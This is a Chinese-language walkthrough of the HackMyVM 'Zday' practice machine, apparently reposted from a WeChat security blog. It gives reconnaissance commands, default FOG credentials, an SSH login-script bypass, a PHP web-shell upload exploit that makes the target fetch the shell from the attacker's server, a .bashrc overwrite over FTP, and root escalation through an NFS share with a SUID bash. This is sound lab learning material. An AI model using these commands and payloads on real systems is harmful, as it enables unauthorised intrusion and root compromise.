靶机信息
下载地址:
https://hackmyvm.eu/machines/machine.php?vm=Zday
网盘链接:https://pan.baidu.com/s/1OjMwuU6F1V98x2UnLz-eHA?pwd=xcvx
靶场: HackMyVm.eu
靶机名称: Zday
难度: 困难
发布时间: 2021年3月10日
提示信息:
无
目标: user.txt和root.txt
实验环境
攻击机:VMware kali 10.0.0.3 eth0桥接互联网,eth1桥接vbox-Host-Only
靶机:Vbox linux IP自动获取 网卡host-Only
信息收集
扫描主机
扫描局域网内的靶机IP地址
sudo netdiscover -r 10.0.0.0/24 -i eth1
扫描到主机地址为10.0.0.147
扫描端口
扫描靶机开放的服务端口
sudo nmap -sC -sV -p- 10.0.0.147 -oN nmap.log
扫描到多个开放端口,先来看看80端口
Web渗透
访问后是Apache默认页面,做个目录扫描查找敏感路径
gobuster dir -w ../../Dict/SecLists-2022.1/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.0.0.147 -x php,html,txt,zip
扫描到indx.php和fog目录,访问index.php
http://10.0.0.147/index.php
访问后跳转到fog目录下,来找下fog存在哪些漏洞
发现文件上传漏洞,但是要登录后才可以。再来找找fog账号密码
经了解fog是网络克隆系统服务程序,默认账号fog密码password。尝试用默认账号密码登录
登录后在存储模块编辑中找到一组账号和密码,尝试登录SSH
ssh [email protected]
无法登录有脚本阻止登录,尝试绕过 。
ssh [email protected] -t /bin/sh
成功绕过,来找找敏感信息
cat /etc/passwd |grep bash
发现另一个可登录用户estas,之前看到靶机上的版本与存在文件上传漏洞的版本相同,来验证下这个漏洞
这个EXP一共分7步
1。攻击机下生成10M大小的文件,文件名为myshell
dd if=/dev/zero of=myshell bs=10485760 count=1
2。将一句话木马写入追加到myshell文件中
echo '<?php $cmd=$_GET["cmd"]; system($cmd); ?>' >> myshell
3。在myshell目录下开启HTTP服务
python3 -m http.server
4。将myshell的url编码base64
echo "http://10.0.0.3:8000/myshell" | base64
5。执行payload
http://10.0.0.147/fog/management/index.php?node=about&sub=kernel&file=aHR0cDovLzEwLjAuMC4zOjgwMDAvbXlzaGVsbAo=&arch=amd64
6。在页面中将bzImage32名字修改为myshell.php然后点击安装
提示上传成功,不确定上传是否成功。
7。验证上传
http://10.0.0.147/fog/service/ipxe/myshell.php?cmd=id
访问后跳转页面并没有执行命令,看来是上传失败了。尝试用账号密码登录ftp。
ftp 10.0.0.147
登录成功,看看有什么文件
ls -al
进入了用户目录下,把sh脚本和.bashrc文件下载下来看看内容
get warnfogaccount.sh
get .bashrc
sh脚本看起来没什么用,.bashrc文件过长,只截取一小段,文件的最尾有个exit 1,将他删除然后尝试上传到ftp覆盖原文件
vi .bashrc
ftp 10.0.0.147
put .bashrc
上传成功,再次登录SSH
ssh [email protected]
登录成功,找找敏感信息
cat /etc/passwd |grep bash
找到另外一个用户estas,找不到可利用的信息,再来看看2049端口
showmount -e 10.0.0.147
发现两个目录,尝试在攻击机上挂载目录
mkdir /tmp/aaa
sudo su
mount -t nfs 10.0.0.147:/images /tmp/aaa
挂载成功,现在将攻击机上的bash拷贝到挂载目录下,并添加suid权限
cp /bin/bash .
无法写入,重新挂载另一个目录
cd /tmp
umount /tmp/aaa
mount -t nfs 10.0.0.147:/images/dev /tmp/aaa
ls
cp /bin/bash .
拷贝成功,再给bash加上s权限
chmod +s bash
添加成功,回到SSH上执行bash
cd /images/dev
./bash -p
攻击机上的bash版本有点高,那我们直接用靶机上的bash
1。创建一个脚本将靶机上的bash复制到当前目录下,再将脚本添加s权限
echo "cp /bin/bash .">shell.sh
chmod +x+s shell.sh
2。靶机上执行脚本
3。攻击机上为bash添加root权限和s权限
chown root:root bash
chmod +s bash
4。靶机上查看权限并执行
ls -al
./bash -p
提权成功,查看flag
cat /home/estas/user.txt
cat /root/root.txt
拿到usr.txt和root.txt,游戏结束。(这个靶机很有意思)
原文始发于微信公众号(伏波路上学安全):渗透测试靶机练习No.82 Zday
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论